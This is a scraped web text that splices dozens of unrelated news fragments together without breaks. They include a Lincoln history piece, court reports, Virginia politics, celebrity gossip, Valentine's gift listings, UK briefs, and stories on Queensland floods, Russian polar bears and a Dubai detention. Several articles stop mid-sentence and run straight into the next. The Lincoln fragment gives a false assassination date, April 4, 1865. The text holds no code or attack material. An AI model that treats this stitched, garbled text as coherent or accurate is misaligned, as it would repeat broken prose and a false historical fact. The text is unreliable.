Sao Tome and Principe Saudi Arabia Senegal Serbia Seychelles Sierra Leone Singapore Slovakia Slovenia Solomon Islands Somalia South Africa South Korea South Sudan Spain Sri Lanka Sudan Suriname Sweden Switzerland Syria T Taiwan Tajikistan Tanzania Thailand Timor-Leste Togo Tonga Trinidad and Tobago Tunisia Turkey Turkmenistan Tuvalu U Uganda Ukraine United Arab Emirates United Kingdom Uruguay Uzbekistan V Vanuatu Venezuela Vietnam Y Yemen Z Zambia ZimbabweBoth the Morrill Act and Homestead Acts were of great important to poor people. These government actions provided people chances for prosperity that could only be found in America.

Predictably millions of people came from other countries to avail themselves of these opportunities. Lincoln also established the United States Department of Agriculture, which still remains responsible for developing and executing federal government policy on farming, forestry and food.

Lincoln also was a founding leader of the Republican Party.

Historians tell us that Lincoln preserved what George Washington built. We now celebrate the lives of each on Presidents Day. Lincoln became a martyr to the cause of national unity when he was assassinated by John Wilkes Booth on April 4, 1865, just days after the end of the bloodiest war this country has experienced. How history would have been different if he had lived we can never know. He had encouraged a policy of leniency for the defeated South as he said let them up easy.SCOTTSBLUFF  A Scotts Bluff County District Court convicted a 50-year-old Scottsbluff man on a charge of forcing a woman to have sex against her will.

A jury returned a verdict against Richard Requejo Tuesday afternoon, convicting him on a charge of first-degree sexual assault, a Class II felony. Trial against Requejo began Monday.

Charges against Requejo stem from report to Scottsbluff Police by a woman who alleged she had been sexually assaulted on May 7, 2018. She told police she had been at Requejos residence, drinking alcohol when she said he had begun to take off her clothes, kissing her on the lips and body and he assaulted her. The woman told police she had asked him to stop several times and pleaded with him not to rape her.

Initially, according to the affidavit, the man denied that he had raped the woman. He was arrested after an interview at the Nebraska State Patrol.

A sentencing date was not yet available in online court records. State statute for the charge is a maximum sentence of 50 years imprisonment and a minimum of one-year imprisonment. However, prosecutors are also pursuing a habitual criminal charge against Requejo, meaning that he has been twice convicted of a felony and, if the court finds him to be a habitual criminal, his sentence would be enhanced, with a mandatory minimum term of at least 25 years and a maximum term of not more than 60 years.

Submit Your News We're always interested in hearing about news in our community. Let us know what's going on! Go to form

Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.Compounding the issue, the state doesn't know exactly what it has to offer companies. The online database of available sites, both for megasites and smaller locations, is missing critical information, like what kind of utility infrastructure is available, Virginia Economic Development Partnership President and CEO Stephen Moret said.

The development partnership is working on a detailed inventory of sites 25 acres and bigger. Until that study is done, Moret said, it's too soon to say whether public money has been spent on a site that will have to be written off.

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"I truly don't know," he said.

That's raised some questions about whether spending on the megasites is worthwhile.

"This school of 'if we build it, they will come' on spec is risky business," said Greg LeRoy, executive director of the corporate subsidies watchdog group Good Jobs First.

The push to create megasites began in 2004, when several manufacturers were looking for locations in the Southeast, according to Tim Pfohl, grants director for Virginia's tobacco commission.

The commission, an independent board created to use national tobacco settlement money to promote economic development in tobacco-dependent areas, allocated $100 million to buy land and bring in infrastructure.The state will seek to begin issuing the refunds by mid-August, Jones said in response to questions by Del. Lashrecse Aird, D-Petersburg, one of five members of the Appropriations Committee who initially opposed the emergency legislation.

To me, its not about the election, Aird said later. If you say our people need the relief right away, we should do everything in our power to do that right away.

The tax legislation also will give future tax relief to nearly two million Virginia taxpayers by boosting the standard deduction by 50 percent  from $3,000 to $4,500 for individuals and from $6,000 to $9,000 for married couples  the first increase since 2005 for people who choose not to itemize deductions on their state returns.

The change is expected to save taxpayers an average of $107. For about 931,000 people making under $50,000 a year, the average savings would be $89. In comparison, refunding the unused portion of the Earned Income Tax Credit, as Northam and progressive Democrats had urged, would save an average of $240, for about 385,000 people.

The package also diverges from the Tax Cuts and Jobs Act, which President Donald Trump signed almost 14 months ago, by:After saying he was in the photo and apologizing on Feb. 1, Northam said a day later that he was sure the photo was not him, and he now wants to lead the state in racial reconciliation.

The photo showed one man in blackface and one man in a Ku Klux Klan outfit and led to Northam and Virginia being skewered on late-night comedy shows, including NBCs Saturday Night Live.

In response to the GOP attack, the Democratic Party of Virginia donated $2,000 to the General Assemblys Martin Luther King Jr. Memorial Commission and called on Republicans to match it.

This political stunt during a painful time for Virginians is pretty rich coming from the party that opposed restoration of rights and champions voter suppression., DPVA spokesman Jake Rubenstein said by email.

We dont need the party of Trump to tell us how to support the African-American community and promote African-American history in the commonwealth. We fight tirelessly to elect diverse candidates, push for further equality in Virginia, and promote Virginias Civil Rights heroes, he said.

What has the Republican Party of Virginia done other than support neo-confederates like Corey Stewart?This is just one element of that, the fact that we are making this history accessible and available is probably one of the more important things, she said.

The group visited other historic sites in North Carolina, Georgia and Alabama on the way to Montgomery.

What we know about this particular lynching, which is information we didnt have until after we got back from the trip, is that the train was stopped by a white man dressed as a woman who flagged down the train; that the mob included both white and African American people, the African American people hoping to deter ... the lynching, Douglas said.

The group is working to get two historical markers placed in the community, one near the site of the lynching off of U.S. 250 near Farmington, and one near the courthouse.

On one side of the marker, we describe the history of the lynching in the community and on the other side of the marker is the description of lynching as it relates to the racial history of America, Douglas said.

Ultimately, the group will apply to claim a steel monument to James, identical to one hanging at the National Memorial for Peace and Justice, and install it locally.Im seeing people die every few days, Anwar said after the vote. When someone in their 30s dies of lung cancer, it impacts you. When someone in their 40s dies with lung cancer, it impacts you. You start saying, What can we do as a society? What can we do as a community?' "Its the attackers, but its also the attacks, Smollett says in the clip released Wednesday. It's like, you know, at first, it was a thing of, like, 'Listen, if I tell the truth then that's it, 'cause it's the truth. Then it became a thing of like, 'Oh, how can you doubt that? Like, how do you, how do you not believe that? It's the truth. And then it became a thing of like, 'Oh, it's not necessarily that you don't believe that this is the truth, you don't even want to see the truth.Ogden jazz icon Joe McQueen may be gone, but his memory and legacy live on. One physical reminder of his life, McQueen's lifelong home at 3158 Grant Ave., has now become available for sale. The house received extensive remodeling, but as investor Richard Casperson has said, "Joe's energy is N etflix has finally unveiled a date for the start of the much-anticipated third season of Queer Eye.

On Wednesday, the show's official Instagram dropped a teaser for the Emmy-winning makeover show, which is a successful reboot of the 2003 show Queer Eye for the Straight Guy.

The clip revealed the show is set to return on March 15 and prompted a slogan of self-love, with Carly Rae Jepsens new single Now That I Found You playing in the background.

The popular show's account shared: WE'RE BAAACK HENNYS! Get ready to L<3VE YOURSELF! Queer Eye 3 launches March 15. HUGE thanks to @carlyraejepsen for this exclusive preview of her *NEW BOP*, Now That I Found You. [sic]

Excited fans struggled to contain themselves in the comments section, with many declaring their love for the show.

One user wrote: The world just keeps on giving!

Another commented: Im so happy to see this! Ive been waiting for you beautiful boys to come back!!

Season 3: The show is set to return to the streaming platform next month / Christopher Smith/Netflix

A third added: Oh my god Im so excited!

The third season will see show staples Bobby Berk, Karamo Brown, Tan France, Antoni Porowski and Jonathan Van Ness making their way to Kansas City, Missouri.

Last year, show creator David Collins told how his background influenced him to bring the move the show from Atlanta, Georgia to the new location.

He told the Hollywood Reporter: Im a Midwestern kid. I was born and raised in Cincinnati. Honestly, I think [this region] was the next step. We looked at all kinds of cities along the way. But we really realised that this is the heartland.L indsay Lohan has been lambasted for appearing to criticise Leonardo DiCaprio on Instagram after he called for a ban on the shark fin trade.

DiCaprio, 44, shared a picture of the gruesome practice and called on his followers to help protect sharks by demanding their representative in Congress ban the sale of shark fin products in the U.S (sic).

Lohan was among the thousands who commented on the disturbing image, posting: I hope you are there and taking this photo.

Her remark sparked a backlash from many who were left confused by her comment and assumed she was criticising DiCaprios environmental work.

One posted: Wtf Im sorry what are YOU doing to stop this?

Another wrote: Df is that supposed to mean (sic).

A third commented: @lindsaylohan geez.. really??!!

Confusion: Leonardo DiCaprio fans were bemused by Lindsay Lohan's comments / Johns PKI / SplashNews.com

Another questioned how DiCaprios whereabouts has anything to do with the message he is preaching, with one asking: Whats the matter if he were or not there? (sic).

DiCaprios post was a regram from Oceana  an organisation which is dedicated to protecting and restoring the worlds oceans.

The Oscar-winning actor is a campaigner for climate and environmental issues and set up the Leonardo DiCaprio Foundation in 1998, a non-profit organization which promotes environmental awareness.

Relationship Retrospective: Leonardo DiCaprio 1 /20 Relationship Retrospective: Leonardo DiCaprio Getty Images Leonardo DiCaprio is rumored to have dated model Bridget Hall in 1998. The LIFE Picture Collection/Gett Co-stars Brittany Daniel and Leonardo DiCaprio moved their romance off screen in 1994. Getty Images Model Kristen Zang and Leonardo DiCaprio were first spotted together in 1996. They broke up in 1998. WireImage Victoria Secret Angel Helena Christensen is rumored to have dated Leonardo DiCaprio as he rose to fame with Titanic in 1997. AFP/Getty Images Model turned actress Natasha Henstridge and DiCaprio had a fling in 1997. Getty Images Leonardo DiCaprio also romanced model Amber Valletta in 1998. AFP/Getty Images Bijou Phillips and DiCaprio reportedly dated in 1998. Getty Images Eva Herzigova and Dicaprio met at The Man in the Iron Mask in 1998 and are rumored to have had a fling. Herzigova has described DiCaprio as a "wonderful person." Getty Images Leonardo Dicaprio and supermodel Gisele Bundchen were together for five years until they ended the relationship. She's still the only woman Leo has taken to an awards show, other than his mother and best friend Kate Winslet. Getty Images After his relationship with Gisele, DiCaprio dated Victoria's Secret model Bar Refaeli. They went out until 2011 - with a six month break in the middle. Getty Images During that six month break in 2009, Leo dated model Anne V. Getty Images Leonardo Dicaprio also had a whirlwind romance with Blake Lively in 2011 that lasted five months. Getty Images Madalina Ghenea and DiCaprio met during The Great Gatsby shoot in Australia and dated briefly in October 2011. Getty Images For amfAR DiCaprio dated Victoria's Secret Model Erin Heatherton for nearly a year before splitting in 2012. Leonardo Dicaprio and Toni Garrn dated for over a year, from May 2013 to December 2014. Janet Mayer / Splash News DiCaprio and model Kelly Rohrbach had a whirlwind romance that led to rumors of engagement. They were together from spring 2015 to the beginning of 2016. Rihanna and Leonardo DiCaprio were rumored to be dating in February 2015 after having a "flirtatious" night in a Paris club. Getty Images Victoria's Secret Model Nina Agdal and Leonardo DiCaprio dated from June 2016 to May 2017. They went on multiple vacations together, including venturing to Montauk and a private island in the Bahamas. Getty Images Leonardo DiCaprio started dating 20-year-old model Camila Morrone in late 2017. They're still together today - and she's 22 now. SplashNews.com

Lohan's comments come months after she sparked a backlash after claiming women who spoke out about sexual assault in the wake of the #MeToo movement were making themselves look weak.

She later apologised unreservedly for the comments she made in the interview with The Times, saying she was sorry for the hurt and distress she caused.

The quote solely related to my hope that a handful of false testimonies out of a tsunami of heroic voices do not serve to dilute the importance of the #MeToo movement, and all of us who champion it, she said.B uying a present for Valentines Day can be more risk than risque.

Whether you have just started dating, decided on no gifts, or are many years into a relationship, it may not feel right to just entirely forget the day of love.

But if you want to dip a toe in Cupid's celebrations rather than submerge yourself, you need something quick, quirky and affordable  and thats where we come in.

We have gathered a list of gifts for the lovely lady in your life that are either silly, thoughtful or a little of both without being too over the top.

And if you want splash out you can never go wrong with a show-stopping Valentine's Day bouquet.

Marmite Valentines Day

You may hate Marmite, but if your partner loves it, then this personalised jar may just be better than a bunch of flowers. Offered with a limited edition design, the jar has a V-day appropriate red colouring with Spread the love this Valentines printed on the front.

5.49 | Marmite | Buy it now

Nutella Mini Pancake Gift Set

Create a very special Valentines Day tradition that begins with breakfast in bed featuring one of the best options, Nutella and pancakes. This set offers everything you need to create the delicious dessert with a mini pan, pancake mix and two jars of Nutella.

7.50 | Argos | Buy it now

The Body Shop Strawberry Hearts Tin

What is better than a heart filled with chocolate? The romantic gesture offering strawberry-flavoured beauty products of course. Treat your loved one to body butter, shower gel and lip butter from The Body Shop in an adorable heart-shaped tin.

10 | The Body Shop | Buy it now

Gift Republic Grow It Sloe Gin Kit

Get those green fingers twitching and those gin glasses at the ready with this kit that offers everything you need to start brewing your own sloe gin from the comfort of your own home. Begin your own distillery with this set that contains a booklet with instructions and top tips.

4 | Urban Outfitters | Buy it now

Pretty Useful Tools Credit Card Tool

With the proverb fail to prepare, prepare to fail in mind, this super practical present will ensure your Valentine always has the essentials on hand. The functional comb has multiple uses, including a bottle opener, screwdriver, nail filer, comb, box cutter and perhaps most importantly  an emergency hair band.

10 | Wild & Wolf | Buy it now

Love Beauty And Planet Blooming Radiance Sheet Mask

Infused with handpicked Rose petals and Amazonian Muru Muru Butter, the mask will leave skin actually glowing, while also remaining eco-conscious as it is both biodegradable and vegan. Pair this gift with her favourite cuppa and a powdered croissant or full on fry up. Breakfast in bed with a little pampering is always, always a welcome treat.

3.33 | Boots | Buy it now

Little Moments Photo Book

If you are looking for a truly thoughtful and affordable present, the Little Moments Photo Book may just be the perfect option. The mini photo book can be filled with the pictures from events throughout your relationship to commemorate the day of love.

9.99 | Photobox | Buy it now

Jacobs Creek Le Petit Rose

Pair your Valentine s Day meal with a glass of Le Petit Rose. A crisp Australian dry, fruity and floral flavours combine for a fresh taste that would be the perfect accompaniment to any dish of seafood, pasta or desserts.

8 | Tesco | Buy it now

The Unofficial David Attenborough Activity Book By Nathan Joyce

The David Attenborough activity book is a celebration of our national treasure with everything from fun quizzes, puzzles, and quotes, and facts. There is even the Attenborough Karaoke where the words to The Beatles Let It Be have been altered with a twist in honour of the natural historian. But, our personal favourite has got to be the David Attenborough drinking game.

7.99 | Urban Outfitters | Buy it now

Double Dipper with Lollipop

The 2019 version of dib dab, the latest creation from Smith & Sinclair gives the Peach Bellini a modern makeover. Featuring two Prosecco lollipops, a peach gel and a raspberry sherbet with freeze dried raspberries, pair this one with a quirky card or a bottle of fizz and a foot rub.New attempt by cross-party MPs to block No Deal Brexit

Theresa May is facing a fresh attempt by a cross-party group of MPs to prevent a no-deal Brexit if she cannot reach an agreement with Brussels by mid-March.

The group includes Labour MP Yvette Cooper and former Tory minister Sir Oliver Letwin and said it is ready to table an amendment enabling Parliament to force ministers to seek a delay if there is no deal in place.

There was speculation at Westminster some ministers opposed to a no-deal break could be prepared to resign to support the amendment when it comes to a vote in two weeks' time.

Meanwhile the British Chambers of Commerce has warned that firms are being "hung out to dry" because of the continued uncertainty over a no-deal Brexit.

Boffins claim video games do not cause teenagers to be aggressive

Playing violent video games does not cause teenagers to be aggressive, according to a new study.

Researchers at the University of Oxford said a survey of 1,000 14 and 15-year-olds and their parents or guardians pointed to other factors, including family life.

Gaga comes out in support of Cardi B

Lady Gaga has defended Cardi B amid a backlash against her Grammys triumph.

Cardi B became the first female solo artist to win best rap album at the Grammys but was targeted by trolls who said it was undeserved.

She hit back in an expletive-filled video to Instagram before deleting her account hours later.

Gaga has this morning tweeted her support for the star, calling on people to support her and that she deserved her Grammy.

Suspicious device found in Northern Ireland

What police are describing as a "crude device" has been deactivated in rural Co Down in Northern Ireland.

Several roads were closed at the scene near Newry yesterday after the suspicious object was found.

Police Service Northern Ireland announced early this morning that the object had been made safe.

Plan to keep Channel Tunnel services running post No Deal Brexit

Trains will be allowed to continue to run through the Channel Tunnel for three months in the event of a no-deal Brexit under an EU Commission proposal.

The institution said the contingency measure would give the UK and France time to negotiate bilateral acceptance of safety certificates and train driver licences.

Dumb watch but high-tech band is new smart idea

Sony has unveiled a new smartwatch which allows users to attach any of their existing watch faces to a strap that gives fitness tracking and notification information.

It has been called Wena, which stands for Wear Electronics Naturally, and the information is given on a small display of one or two lines on the strap rather than a smartwatch face.

It will also offer other features such as contactless payment and will cost at least 350.

On this day

1542: "I die a Queen but I would rather have died the wife of Culpepper" - said to be the last words of Catherine Howard, fifth wife of Henry VIII, before she was beheaded on Tower Green.

1692: The Glencoe massacre took place in the Scottish Highlands, when the MacDonalds were murdered by their traditional enemies, the Campbells.

1867: Johann Strauss's waltz The Blue Danube was first performed at a ball in Vienna.

1945: Hundreds of allied planes bombed Dresden, devastating one of the world's most beautiful cities.

1958: Dame Christabel Pankhurst, British suffragette and daughter of Emmeline, died.A nanny in the US has been convicted of murder after she force-fed an eight-month-old baby because the child had disturbed her nap.

Oluremi Adeleye, 73, from Maryland, was found guilty on Monday of child abuse and second degree murder over Enita Salubis death in 2016.

You left home with a live baby and came home with a dead baby, Influence Salubi, said in court about the day his daughter died, the Washington Post reports. Its not something I can forget.

Footage from a nanny camera showed Enita pulling on the nannys dress and patting her leg as she lay on the couch.

Prosecutors said that Adeleye then poured nearly eight ounces (0.25 litres) of milk down Enitas throat in less than 30 seconds.

The footage showed Adeleye picked up Enita after she fell to the floor and tried to give her another bottle.

The baby eventually went limp.

Adeleye said she was trying to ensure the baby did not go hungry.

She testified that forcing babies to eat is common practice in Nigeria, where she is from, according to the Washington Post.T he Thai Kings sister who was disqualified from running for prime minister has apologised for causing problems for the Thai people ahead of upcoming elections.

Princess Ubolratana Rajakanya Sirivadhana Barnavadi had her name rejected from an official list of prime minister candidates by the Election Commission.

The commission said members of the royal family should stay above politics, echoing a sharp rebuke from King Maha Vajiralongkorn that her bid was "inappropriate" and unconstitutional.

She said in a statement on Instagram: "I am sorry my genuine intention to work for the country and Thai people has caused such problems that shouldn't have happened in this era."

Princess Ubolratana Mahidol was prohibited from running in the country's elections / EPA

The princess ended the statement with the hashtag "#howcomeitsthewayitis".

Ms Ubolratana's unprecedented nomination by a party allied with populist ex-premier Thaksin Shinawatra unsettled the Southeast Asian nation, where the monarchy is revered by millions of Thais and remains above politics.

The Election Commission is also considering dissolving the Thai Raksa Chart party as a result of the nomination. Electoral laws forbid involving the monarchy in political campaigns.

The March 24 election is set to be a showdown between the military-backed, royalist Prime Minister Prayuth Chan-ocha and supporters of Thaksin, who was ousted in a 2006 coup and forced into exile, but remains immensely popular.A young rapper was shot dead by six police officers after he fell asleep inside his car in a Taco Bell drive-through, his family has said.

Willie McCoy, who was known as Willie Bo and performed with the group FBG, was killed at a branch of the fast-food restaurant in Vallejo, California, on Saturday night.

A restaurant employee called 911 and reported seeing a person slumped over in the seat of a silver Mercedes, Vallejo Police Department said.

When officers arrived they noticed the driver was unresponsive and had a handgun on his lap.

McCoy fell asleep in his car at a Taco Bell before he was surrounded by police and shot

The force added in a statement that when officers approached the vehicle the driver began to suddenly move and looked at the uniformed patrol officers".

Officers gave the driver several commands to put his hands up," the statement added.

"The driver did not comply and instead he quickly moved his hands downward for the firearm.

Fearing for their safety, six officers fired their duty weapons at the driver.

McCoy, who was 21 years old, was pronounced dead at the scene. Images show his car windscreen riddled with bullet holes.

A loaded handgun was recovered from the Mercedes, police said.

McCoy's family hit out at police over the incident. They believe he was racially profiled and the response of the officers was unjustified.

His older brother, Marc McCoy, told the Guardian: There was no attempt to try to work out a peaceful solution.

The polices job is to arrest people who are breaking the law  not take the law into your own hands.

Youre not judge, jury and executioner Were never going to get over this.

His cousin, David Harrison, added in a video posted on Facebook: You can't just keep killing us in the street like this.T he FBI has released a series of haunting portraits drawn by a US serial killer of his alleged victims in a bid to find out who they are.

The agency released 16 images on Tuesday, drawn from memory by Samuel Little, who told authorities they are some of the 90 people he killed over three decades.

A spokesman told CNN: "We are hoping that someone - family member, former neighbour, friend - might recognise the victim and provide that crucial clue in helping authorities make an identification.

"We want to give these women their names back and their family some long awaited answers. It's the least we can do."

Convicted serial killer Samuel Little / AFP/Getty Images

Little drew the pictures while serving three life sentences for other murders.

The 78-year-old has confessed to around 90 killings to date and the FBI is working with the Department of Justices Bureau of Justice Assistance, the Texas Rangers, and dozens of state and local agencies to match Littles confessions with evidence from women who turned up dead in states from California to Florida between 1970 and 2005.

Last year he began drawing portraits of his victims during interviews with investigators.

Now the FBI has published the images alongside a map with corresponding pinpoints of victims who have not yet been identified or have not yet been corroborated by police.

The FBI has released 16 drawings by a man who may be the most prolific serial killer in US history in an attempt to identify some of his victims / AFP/Getty Images

Little was arrested at a Kentucky homeless shelter in September 2012 and extradited to California, where he was wanted on a narcotics charge.

Once Little was in custody, Los Angeles Police Department detectives obtained a DNA match to Little on the victims in three unsolved homicides from 1987 and 1989 and charged him with three counts of murder.

For these crimes, Little was convicted and sentenced in 2014 to three consecutive life sentences with no possibility of parole.

Little claimed innocence throughout his trial  even as a string of women testifying for the prosecution told of narrowly surviving similarly violent encounters with Little, an FBI statement said.

The FBI has mapped murders described by Little / FBI

While in prison, Little's name came up in the FBI's Violent Criminal Apprehension Program, known as ViCAP, in connection with a series of unsolved murders across the country.

One killing in Odessa, Texas looked especially relevant, the statement added.

Little made his confessions during a subsequent police interview with Texas Ranger James Holland and two FBI crime analysts in California in May 2018.

Authorities have confirmed 34 killings so far with more pending confirmation but there are still a number that remain uncorroborated by law enforcement.We need to make sure that we make the right, intelligent decision, because we dont want anyone getting hurt on our streets, he said. We dont want anyone getting hit by these scooters. We dont want the scooters going under a truck. So its a delicate balance.U p to half a million cattle have died after Australias Queensland state received three years worth of rainfall in a week.

According to Australian media, farmers were forced to kill thousands of stressed animals that did not drown or freeze to death.

Some cattle stations have lost at least 50 per cent of their livestock after flooding rain raked the Queensland coast before sweeping inland and submerging vast tracts of outback under record-breaking depths of muddy water.

The flooding comes after seven years of drought.

Queensland Premier Annastacia Palaszczuk said: People have gone through drought, they have come out of years and years of drought, and they have now gone smack-bang into a natural disaster the likes of which no one out there has seen before.

The downpours have ceased however the clean-up operation is now underway.

Queensland Agriculture Minister Mark Furner is heading to the affected areas along with the army and biosecurity experts to discover the best way to dispose of the animal carcasses to stop further cattle from dying of diseases.

Among options being considered are mass burial pits.

One farmer described the scene to the Guardian: There are kangaroos dead in trees and fences, birds drowned in drifts of silt and debris and our beloved bovine family lay perished in piles where they have been huddling for protection and warmth.

The scene is mirrored across the entire region, it is absolutely soul-destroying to think our animals suffered like this.

The Queensland government is providing assistance to those affected with farmers eligible for grants of up to $53,000 (29,264).

Queenslanders have warned anyone coming into contact with the carcasses to cover their hands and feet.P olar bears that have invaded an Arctic archipelago, both delighting and terrifying locals, may be sedated and hauled away.

Russian wildlife specialists are headed to Novaya Zemlya where more than 50 polar bears have been spotted in the islands main town of Belushya Guba.

A state of emergency was declared at the weekend after the bears peered into homes, entered buildings and gorged at a rubbish dump outside the town.

Plans to resolve the situation include relocating the dump that gives the bears a banquet and removing the bears.

A mother polar polar bear and two cubs walk across the courtyard of a residential block in Belushya Guba, Novaya Zemlya, Russia. / AP

The scientists coming from the national natural resources agency will be equipped to sedate the bears and haul them away.

"That's just an option; at the moment it is being considered, but there's no 100% guarantee it will be applied," said Alexander Gornikh, regional head of the natural resources agency.

Officials have said they do not have an immediate solution.

The ferocity of polar bears have worried many people, but some are also thrilled by the spectacle.

Mobile phone videos taken in the area come with sounds of humans exclaiming over bear sightings.

"Thank you! It's so cool! We have seen polar bears," one woman is heard saying after she spotted a female bear and two cubs.

"Bye, baby, bye!"

It is thought that the polar bears were drawn to land after a decline in the seal population or the shrinking amount of sea ice that diminishes as the Arctic warms.T he mum of a five-year-old girl was horrified after the child claimed she had been hit in the face with a ruler by her teacher.

Ciara Morgan was stunned when daughter Hailey Turner was picked up from school on January 24 with a large red mark on her face, which the teacher claimed was eczema.

But Hailey, a student at Cummings Elementary School in Memphis, Tennessee, told her mum she had been struck with the plastic implement after tattle-taling on another pupil.

Ms Morgan said: The kids were having computer time and once the time was up a student was still on the computer. Hailey told the teacher, the teacher went to her desk pulled out a ruler walked to Hailey, hit her and told her no tattle-taling.

Ms Morgan says she was told the mark was eczema / Ciara Morgan

Her teacher told us it was her eczema but once we picked Hailey up, she informed us that not only did her teacher hit her with the ruler, but she told her if she didnt tell anyone she would bring her a LOL Doll.

We havent received any communication from the school - the Principal told us that he doesnt have time and to get on his calendar. Hailey has been withdrawn from the school.

Ms Morgan was shocked when she discovered that just two weeks after the incident, the teacher had allegedly returned to teach the same class while Hailey had been moved.

She added: The teacher was removed from the school but brought back on February 8. Hailey was removed from that class and that teacher was brought back.

Ciara has now taken Hailey out of Cummings Elementary School / Ciara Morgan

No one contacted me and told me that the teacher was coming back or that they moved my daughter from her classroom.

The whole incident has left me upset. I expect Hailey to receive the same amount of love she receives at home at school if not more.

To know that theyre trying to sweep it under the rug or act like its not a big deal is disturbing.

A spokeswoman for Shelby County Schools said: "We conducted an investigation into the incident that happened at Cummings Elementary.

"Based on the findings of the investigation, which included interviews with students and adults, we were not able to corroborate the allegation that the student was hit in the face with a ruler.

"We can confirm that due to a different matter identified, SCS took appropriate disciplinary action against this employee based on SCS policy and procedures.A suicide bombing in south-eastern Iran has killed at least 27 members of the countrys Revolutionary Guards, state media has said.

The attacker targeted a bus transporting personnel near the Pakistan border, in the Sistan-Baluchestan province, on Wednesday.

Jaish al Adl (Army of Justice), the Sunni Muslim militant group, claimed responsibility for the deadly blast.

The Revolutionary Guards, which were set up shortly after the 1979 Islamic Revolution, are a major military, political and economic force in the Middle Eastern country.

Members of Iranian revolutionary guards corps (IRGC) shout slogans during a ceremony marking the 40th anniversary of the 1979 Islamic revolution / EPA file image

The bomber drove a vehicle laden with explosives and attacked a bus transporting members of the Guards, a statement said. At least 27 were killed and 13 people were wounded.

A video showed blood and debris at the site of the attack on a road in a volatile area near the Pakistan border where militants operate.

The bus was turned into a twisted pile of metal, a photo that appeared to be from the scene showed.A former soldier is being detained in the United Arab Emirates after being accused of drug dealing, according to an advocacy group representing him.

Andy Neal, 44, has been held since last October over the allegations, which he denies, according to Detained in Dubai.

The father-of-two moved to the country in 2015 and had "enjoyed" living there until his detention.

He has been held after being coerced into signing a confession in Arabic, the advocacy group claims.

In a statement today the head of the organisation claimed that the person who accused Mr Neal of selling drugs had retracted his statement.

Andy is a father of a six-year-old daughter and a two-year-old son (Detained in Dubai ) / Detained in Dubai

Mr Neal was held in solitary confinement for 17 hours with no food, water or access to the bathroom until he signed the false statement, the advocacy group claims.

A statement from the group said: "Andy was told by the CID that someone had identified him as having sold drugs to them, but Andy continued to profess his innocence. The police drew up a statement in Arabic and forced Andy to sign it by way of his fingerprint, and when Andy complained that he had no idea what was written, the interrogator said, 'Exactly what you said'."

However, he and his wife later discovered it was actually a confession that he had purchased drugs and sold them, Detained in Dubai said.

The former militaryman, who served for 24 years in the British Army and suffers from PTSD following his tours of countries including Iraq and Afghanistan, was allegedly abruptly detained on an evening in the car park of his building.

Detained in Dubai has accused police of confronting Mr Neal, originally from Nottingham, in the area when he returned from work and showing him a WhatsApp message pertaining to be a warrant.

Andy with his wife and two children / Detained in Dubai

The group then states they entered his home, physically abused Mr Neal, before taking him to the apartment of another man whom they arrested.

The second man, also arrested with a woman, is said to have been linked to the alleged drug dealing that Mr Neal is accused of.

Since Mr Neal was taken into custody on October 4, Detained in Dubai states his accuser has retracted his claims and Mr Neal has been found to not be in possession of any drugs at his home.

Andy Neal is said to have enjoyed living in Dubai (Detained in Dubai ) / Detained in Dubai

Radha Stirling, founder of Detained in Dubai, who is representing the Neal family said the case against him has essentially been disproved.

However there has been a delay in the prosecutor's decision to release Mr Neal.

Mr Neal could be released or the case transferred to Abu Dhabi where he could face a further four months in prison.

According to Detained in Dubai if Mr Neal is released immediately the prosecutor will have to admit they have been wrong.

But by transferring the case out of Dubai it would no longer be their responsibility and the investigation would have to begin again.

Ms Stirling said: "Andy should not spend another night in prison, let alone another four months. It is shameful that law enforcement has a rubber stamp to ruin people's lives, rob children of their parents and jail innocent people with impunity. Why are forced confessions still standard in the UAE."

She added: "We are calling on the support of Jeremy Hunt and Mark Spencer to stand up for Andy Neal, a man who has dedicated much of his life to supporting the British forces abroad."

According to the statement, Mr Neal has served as a corporal in the Worcester foresters from 1991 until 2009, then transferred to the Royal Army Veterinary Corporation as a dog trainer and handler.

A spokeswoman for the Foreign Office said: "We are providing assistance to a British man after his arrest in Dubai and are in touch with his family and the UAE authorities."T he first Top Gun female pilot to lead Americas daring F-16 Viper aerial stunt team has been replaced after just two weeks.

Captain Zoe Kotnik, 30, was relieved of duty because of a loss of confidence in her ability to lead and command, the US Air Force said today.

No details were made public but Colonel Derek OMalley, 20th Fighter Wing Commander, explained that Captain Kotnik had made mistakes.

Captain Kotniks first air show had been scheduled for March 30 at the Naval Air Station in Key West, Florida. The news comes at an awkward time for the air force, just weeks before the release of the Captain Marvel film which stars actress Brie Larson as a former US Air Force fighter pilot.

Captain Kotniks real-life promotion was seen by many as an example of how women are making headway in a service previously dominated by men.

We have thousands of airmen across our Air Force serving our country, and not one of them is perfect.

As good people, like Captain Kotnik, make mistakes, I want them to have the opportunity to learn from them without being under public scrutiny and to continue to be a part of this great service.

Theyll be better for the experience, and in turn, well be better as an Air Force, said Colonel OMalley from the teams headquarters at the Shaw Air Force Base in South Carolina.

In these types of situations I never forget that were dealing with real human beings that I care deeply about and that we are charged to take care of, he added in a Facebook post.A former Goldman Sachs analyst who claims he lost his job because of his attention deficit disorder is suing the bank for disability discrimination.

Kwasi Afrifa, 31, says the global investment giant made no effort to accommodate his condition, eventually forcing him to leave the 50,000-a-year plus bonuses post in May last year.

The former analyst told an employment tribunal he believes he has been robbed of a career in hedge funds or investment banking, losing the chance to amass 11.4 million in earnings and retire at the age of 45.

But Goldman Sachs has dismissed the direct disability discrimination claim as spurious and insists Mr Afrifa was a serial underperformer at the firm whose work went from bad to worse.

Mr Afrifa, a software engineer, worked as an analyst for Goldman Sachs fundamental strategies department for four years. But he was accused of missing deadlines, arriving late, failing to turn up at all, and acting histrionically.

Goldman Sachs offices in Fleet Street / Getty Images

In his witness statement, Mr Afrifa said his efforts to determine and implement adjustments had been ignored and dismissed. He added he lost time and progress because of the situation. He said medication for his condition caused insomnia and he struggled to concentrate, leading to typographical errors. Mr Afrifa went on sick leave in January 2017 after a scathing performance review and an extended period of insomnia.

Goldman Sachs said in its statement Mr Afrifa was indifferent towards his job, did not follow instructions, did not return forms and appeared disengaged. It said efforts had been made to accommodate Mr Afrifas condition.

Mr Afrifa claims he suggested adjustments to his work when returning from sick leave, including a transcription service and more time for basic tasks, but they were met with hostility. He added that he missed out on his bonus, and resigned in May 2018  which he attributed to preconceptions and prejudice around ADD effects. But James Laddie QC, for Goldman Sachs, argued that personality factors led to action being taken against him rather than his ADD.

